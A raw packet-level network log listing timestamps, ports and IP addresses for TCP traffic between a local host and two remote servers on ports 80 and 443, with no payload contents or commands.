Dec 10, 2024 05:10:47.086425066 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.086476088 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.086719990 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.086827993 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.087121964 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.087646008 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.087757111 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.088506937 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.088529110 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.088555098 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.088588953 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.089376926 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.089484930 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.089525938 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.090250015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.090311050 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.091128111 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.091150045 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.091265917 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.092042923 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.092086077 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.092158079 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.092905998 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.092947006 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.092998981 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.093806028 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.093863964 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.093914986 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.094706059 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.094780922 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.095124960 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.095535040 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.095686913 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.096438885 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.096457005 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.096481085 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.096499920 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.097296000 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.097383022 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.097421885 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.098171949 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.098331928 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.099128008 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.099157095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.099267006 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.099306107 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.099944115 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.100070000 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.100106955 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.100806952 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.100931883 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.100974083 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.101696014 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.101799011 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.102586985 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.102632999 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.102684021 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.103122950 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.103456020 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.103559971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.104357958 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.104403973 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.104420900 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.105283976 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.105376959 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.105424881 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.106089115 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.106232882 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.107009888 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.107055902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.107121944 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.107878923 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.107970953 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.108025074 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.108747959 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.108855009 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.109625101 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.109678984 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.109710932 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.110508919 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.110553980 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.110630989 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.111124039 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.111378908 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.111453056 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.112265110 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.112318039 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.112380981 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.113151073 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.113270998 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.113321066 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.114012003 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.114129066 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.114167929 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.114948034 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.115063906 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.115108967 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.115776062 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.115897894 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.116662979 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.116717100 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.116750956 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.117556095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.117603064 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.117660999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.118462086 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.118510008 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.118658066 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.119129896 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.119308949 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.119451046 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.120194912 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.120246887 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.120342016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.121073961 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.121184111 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.121236086 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.121934891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.121997118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.122045040 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.122822046 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.122893095 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.122925043 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.123126984 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.123825073 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.124013901 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.124023914 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.124659061 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.124715090 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.124747992 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.125523090 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.125575066 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.125638962 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.126336098 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.126473904 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.127136946 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.127228022 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.127336979 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.127376080 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.128114939 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.128226042 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.129057884 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.129116058 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.129148960 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.129868031 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.129993916 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.130047083 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.242516994 CET	49948	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:47.242590904 CET	443	49948	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:47.242696047 CET	49948	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:47.243231058 CET	49948	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:47.243246078 CET	443	49948	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:47.276499987 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.276568890 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.276623964 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.276705980 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.276907921 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.277072906 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.277180910 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.277802944 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.277914047 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.277962923 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.278659105 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.278713942 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.278950930 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.278995991 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.279053926 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.279122114 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.279854059 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.279946089 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.280052900 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.280709982 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.280760050 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.280793905 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.281590939 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.281650066 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.281682968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.281848907 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.282474995 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.282535076 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.282562971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.282891989 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.283368111 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.283463955 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.283504963 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.284255028 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.284305096 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.284390926 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.284431934 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.285115004 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.285162926 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.285203934 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.285662889 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.285993099 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.286037922 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.286128998 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.286248922 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.286869049 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.286915064 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.286938906 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.286977053 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.287787914 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.287836075 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.287873030 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.288074970 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.288630962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.288729906 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.288774967 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.289520979 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.289577007 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.289608955 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.289649010 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.290385008 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.290430069 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.290493965 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.290533066 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.291261911 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.291383982 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.291448116 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.292160988 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.292263031 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.292289019 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.292329073 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.293031931 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.293080091 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.293142080 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.293256044 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.293908119 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.293998957 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.294023991 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.294064999 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.294851065 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.294919014 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.294950008 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.295046091 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.295705080 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.295790911 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.296535969 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.296576023 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.296689987 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.296736956 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.297442913 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.297480106 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.297487020 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.297544003 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.298331976 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.298373938 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.298387051 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.298424959 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.299205065 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.299293995 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.299294949 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.299443007 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.300070047 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.300111055 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.300141096 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.300319910 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.300959110 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.301002026 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.301074982 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.301132917 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.301845074 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.301886082 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.301889896 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.302037954 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.302747011 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.302784920 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.302810907 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.302963972 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.303594112 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.303638935 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.303699970 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.303739071 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.304466963 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.304510117 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.304584026 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.304640055 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.305378914 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.305557013 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.305605888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.306226015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.306271076 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.306330919 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.306370020 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.307111979 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.307224989 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.307239056 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.307279110 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.308037043 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.308079004 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.308115005 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.308496952 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.308872938 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.308918953 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.309009075 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.309050083 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.309747934 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.309798002 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.309910059 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.309981108 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.310621023 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.310681105 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.310735941 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.310839891 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.311513901 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.311597109 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.311628103 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.311760902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.312406063 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.312452078 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.312503099 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.312587976 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.313271999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.313318014 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.313374996 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.313503981 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.314137936 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.314182043 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.314253092 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.314292908 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.315051079 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.315097094 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.315129995 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.315298080 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.315912962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.315960884 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.316023111 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.316059113 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.316792965 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.316838026 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.316912889 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.316957951 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.317678928 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.317723036 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.317770958 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.317859888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.318593025 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.318636894 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.318670034 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.318797112 CET	49921	80	192.168.2.5	185.215.113.16
